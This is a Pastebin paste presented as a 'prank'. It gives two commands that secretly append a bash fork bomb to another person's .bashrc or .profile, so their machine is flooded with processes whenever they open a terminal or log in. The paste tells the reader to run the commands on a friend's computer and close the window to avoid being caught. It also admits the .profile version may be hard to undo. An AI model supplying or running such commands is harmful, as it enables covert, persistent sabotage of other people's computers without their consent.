Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Bombshell Bash Prank
- The next __2 commands__ can give a real __headache__ to another person, use them with __responsability!__
- ## 1st Command: Bash/Terminal Bombshell (Not so evil one):
- This command will be executed when your friend opens a new bash window.
- Copy and run the next command in you friends computer:
- ```bash
- echo ':(){ :|: & };: &> /dev/null' >> .bashrc
- ```
- (Make sure to close the window where you executed this command to stay away of being caught).
- ## 2nd Command: Profile Bombshell (True evil):
- Instead of adding the line of code to the __.bashrc__ which is executed when opening a terminal window,
- we add it to the __.profile__ which is executed after a user logs in.
- __CAUTION: This could be difficult to revert!__
- ```bash
- echo ':(){ :|: & };: &> /dev/null' >> .profile
- ```
- (Also make sure to close the window where you executed this command to stay away of being caught).
- ## How to revert
- For the first command, you only need to start the computer and make sure you don't open a bash/terminal window.
- After you have logged in, open a file editor and find the file. The final step is to erase that line of code
- from the .bashrc and save it.
- For the second command you will need to make the same but even faster! You won't have much time before it starts to
- slow down. I haven't tried to run this command. There might be other solutions to solve this.
Add Comment
Please, Sign In to add comment